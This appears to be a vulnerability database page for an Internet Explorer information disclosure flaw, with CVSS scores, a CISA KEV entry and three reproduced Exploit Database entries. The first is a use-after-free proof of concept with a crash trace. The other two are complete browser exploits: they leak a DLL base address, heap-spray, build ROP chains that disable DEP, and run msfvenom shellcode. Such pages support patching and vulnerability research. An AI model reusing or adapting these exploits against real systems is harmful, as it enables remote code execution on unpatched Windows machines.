Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE Other |
No informations. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
4.3 |
MEDIUM |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
4.3 |
|
AV:N/AC:M/Au:N/C:P/I:N/A:N |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Microsoft Internet Explorer Information Disclosure Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-03-27 22h00 +00:00
Action is due : 2022-04-17 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41661
Publication date : 2017-03-19 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1076
There is an use-after-free bug in IE which can lead to info leak / memory disclosure.
The bug was confirmed on Internet Explorer version 11.0.9600.18537 (update version 11.0.38)
PoC:
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
alert("Text value freed, can be reallocated here");
}
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea>
<!--
=========================================
Please also see the attached screenshots that demonstrate using the PoC for memory disclosure.
The root cause of a bug is actually a use-after-free on the textarea text value, which can be seen if a PoC is run with Page Heap enabled. In that case IE crashes at
(b5c.f44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=10abbff8 ebx=00000002 ecx=10abbff8 edx=10abbff8 esi=0e024ffc edi=00000000
eip=7582c006 esp=0a3aac48 ebp=0a3aac54 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
msvcrt!wcscpy_s+0x46:
7582c006 0fb706 movzx eax,word ptr [esi] ds:002b:0e024ffc=????
0:008> k
# ChildEBP RetAddr
00 0a3aac54 7198e8f0 msvcrt!wcscpy_s+0x46
01 0a3aad48 7189508e MSHTML!CElement::InjectInternal+0x6fa
02 0a3aad88 7189500c MSHTML!CRichtext::SetValueHelperInternal+0x79
03 0a3aada0 71894cf9 MSHTML!CRichtext::DoReset+0x3f
04 0a3aae24 71894b73 MSHTML!CFormElement::DoReset+0x157
05 0a3aae40 706c05da MSHTML!CFastDOM::CHTMLFormElement::Trampoline_reset+0x33
06 0a3aaeb0 706b6d73 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x19d
07 0a3aaef8 706baa24 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
08 0a3ab19c 7071451a jscript9!Js::InterpreterStackFrame::Process+0x3a10
09 0a3ab1d4 70714579 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
0a 0a3ab478 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x49a8
0b 0a3ab5b4 09780fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
0c 0a3ab5c0 706bda16 0x9780fd9
0d 0a3ab868 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x1e62
0e 0a3ab984 09780fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
0f 0a3ab990 706b6d73 0x9780fe1
10 0a3ab9dc 706b73a8 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
11 0a3aba50 706b72dd jscript9!Js::JavascriptFunction::CallRootFunction+0xb5
12 0a3aba98 706b7270 jscript9!ScriptSite::CallRootFunction+0x42
13 0a3abae4 7086d8f8 jscript9!ScriptSite::Execute+0xd2
14 0a3abb48 7165a587 jscript9!ScriptEngineBase::Execute+0xc7
15 0a3abc04 7165a421 MSHTML!CListenerDispatch::InvokeVar+0x15a
16 0a3abc30 7165a11c MSHTML!CListenerDispatch::Invoke+0x6d
17 0a3abcd0 7165a286 MSHTML!CEventMgr::_InvokeListeners+0x210
18 0a3abce8 7165a1ad MSHTML!CEventMgr::_InvokeListenersOnWindow+0x42
19 0a3abd78 71659f1b MSHTML!CEventMgr::_InvokeListeners+0x150
1a 0a3abedc 714df1d7 MSHTML!CEventMgr::Dispatch+0x4d5
1b 0a3abf08 71969808 MSHTML!CEventMgr::DispatchEvent+0x90
1c 0a3abf40 7132de1f MSHTML!COmWindowProxy::Fire_onload+0x146
1d 0a3abfa0 7132df9c MSHTML!CMarkup::OnLoadStatusDone+0x5c0
1e 0a3abfbc 7132cd31 MSHTML!CMarkup::OnLoadStatus+0xed
1f 0a3ac400 714e8062 MSHTML!CProgSink::DoUpdate+0x48d
20 0a3ac40c 712de2f9 MSHTML!CProgSink::OnMethodCall+0x12
21 0a3ac45c 712ddcfa MSHTML!GlobalWndOnMethodCall+0x16c
22 0a3ac4b0 759962fa MSHTML!GlobalWndProc+0x103
23 0a3ac4dc 75996d3a user32!InternalCallWinProc+0x23
24 0a3ac554 759977c4 user32!UserCallWinProcCheckWow+0x109
25 0a3ac5b4 7599788a user32!DispatchMessageWorker+0x3b5
26 0a3ac5c4 726da99c user32!DispatchMessageW+0xf
27 0a3af794 7277ec38 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
28 0a3af854 765182ec IEFRAME!LCIETab_ThreadProc+0x3e7
29 0a3af86c 73f73a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
2a 0a3af8a4 75e0336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
2b 0a3af8b0 77b19902 kernel32!BaseThreadInitThunk+0xe
2c 0a3af8f0 77b198d5 ntdll!__RtlUserThreadStart+0x70
2d 0a3af908 00000000 ntdll!_RtlUserThreadStart+0x1b
where the old value was deleated at
0:008> !heap -p -a 0e024ffc
address 0e024ffc found in
_DPH_HEAP_ROOT @ f1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
dd03820: e024000 2000
7417947d verifier!AVrfDebugPageHeapReAllocate+0x0000036d
77bb126b ntdll!RtlDebugReAllocateHeap+0x00000033
77b6de86 ntdll!RtlReAllocateHeap+0x00000054
71ba761f MSHTML!CTravelLog::_AddEntryInternal+0x00000215
71b8f48d MSHTML!MemoryProtection::HeapReAlloc<0>+0x00000026
71b8f446 MSHTML!_HeapRealloc<0>+0x00000011
7162deea MSHTML!BASICPROPPARAMS::SetStringProperty+0x00000546
71678877 MSHTML!CBase::put_StringHelper+0x0000004d
71fc6d60 MSHTML!CFastDOM::CHTMLTextAreaElement::Trampoline_Set_defaultValue+0x00000070
706c05da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d
706c0f77 jscript9!Js::JavascriptOperators::CallSetter+0x00000138
706c0eb4 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
70710cd3 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
70710b26 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
70710ba6 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
706ba60e jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
706bdbe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
Note: because the text allocations aren't protected by MemGC and happen on the process heap, use-after-free bugs dealing with text allocations are still exploitable.
Screenshots:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41661.zip
-->
Exploit Database EDB-ID : 43125
Publication date : 2017-10-16 22h00 +00:00
Author : mschenk
EDB Verified : Yes
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var ntdllBase = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var j = document.createElement("canvas");
ctx=j.getContext("2d");
ctx.beginPath();
ctx.moveTo(20,20);
ctx.lineTo(20,100);
ctx.lineTo(70,100);
ctx.strokeStyle="red";
ctx.stroke();
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(2,4);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
ntdllBase = addr - 0x000d8560;
alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
spray();
boom();
}, 1000);
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function spray()
{
var hso = document.createElement("div");
var junk = unescape("%u0e0e%u0e0e");
while(junk.length < 0x1000) junk += junk;
//ntdll prefered base addr = 0x77ec0000
//ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect
var rop = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0004
writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
writeu(0, 0x12345678) + //junk into esi
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x0e0e0484) + //addr of protection value placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
writeu(0, 0x0e0e048c) + //return addr = shellcode addr
writeu(0, 0xffffffff) + //process handle (-1)
writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
writeu(0, 0x0e0e0e3e) + //pointer to size
writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
writeu(0, 0x0e0e0e0a) //addr to write old protection value
);
//Shellcode
//root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
//stack pivot
var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
//first stage ROP chain to do bigger stack pivot
var pivot = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk offset for retn 0x0004
writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
);
var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg;
data += junk.substring(0, 0x800 - offset - xchg.length);
while(data.length < 0x80000) data += data;
for(var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
</form>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
Exploit Database EDB-ID : 42354
Publication date : 2017-07-23 22h00 +00:00
Author : redr2e
EDB Verified : No
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var base_leaked_addr = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var audioElm = document.createElement("audio");
audioElm.src = "test.mp3";
}
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function readu(value) {
var uc = escape(value);
var ucsplit = uc.split('%');
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
return res;
}
function spray() {
// DEPS technique used here - avoid null bytes
var hso = document.createElement("div");
base_leaked_addr = parseInt(base_leaked_addr,16);
var junk = unescape("%u0e0e%u0e0e");
while (junk.length < 0x1000) junk += junk;
var rop = unescape(
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffff) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x4e385) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2030f) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(0,0xf07645d5) +
writeu(base_leaked_addr,0x6e002) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0xaebc) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffbf) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x6361b) +
writeu(base_leaked_addr,0x432cf) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x5cef1) +
writeu(base_leaked_addr,0x4177e) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x1244) +
writeu(base_leaked_addr,0xa819) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2720b) +
"" );
/*
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
Library used "propsys.dll", part of the Windows Search functionality (?)
and last updated Nov 2010. I think it's a good target for our needs.
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
*/
// Move ESP to the VirtualAlloc ROP chain
var stack_shift_rop = unescape(
writeu(0,235802130) +
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x0e0e1258) +
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
"");
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
// ~2854 bytes max
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
var fix1 = 0x15c;
var fixop = unescape("%u0e0e%u0e0e");
var offset_to_stack_shift = 0x6f7;
var offset_to_xchg = 0xd2+2;
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var leaked_addr = readu(il);
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
base_leaked_addr = base_leaked_addr.toString(16);
spray();
boom();
}, 1000); // can be reduced
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
</form>
<script>
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 9
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_vista >> Version -
Configuraton 0
Microsoft>>Internet_explorer >> Version 10
Microsoft>>Windows_server_2012 >> Version -
Configuraton 0
Microsoft>>Internet_explorer >> Version 11
Microsoft>>Windows_10_1507 >> Version -
Microsoft>>Windows_10_1511 >> Version -
Microsoft>>Windows_10_1607 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version -
References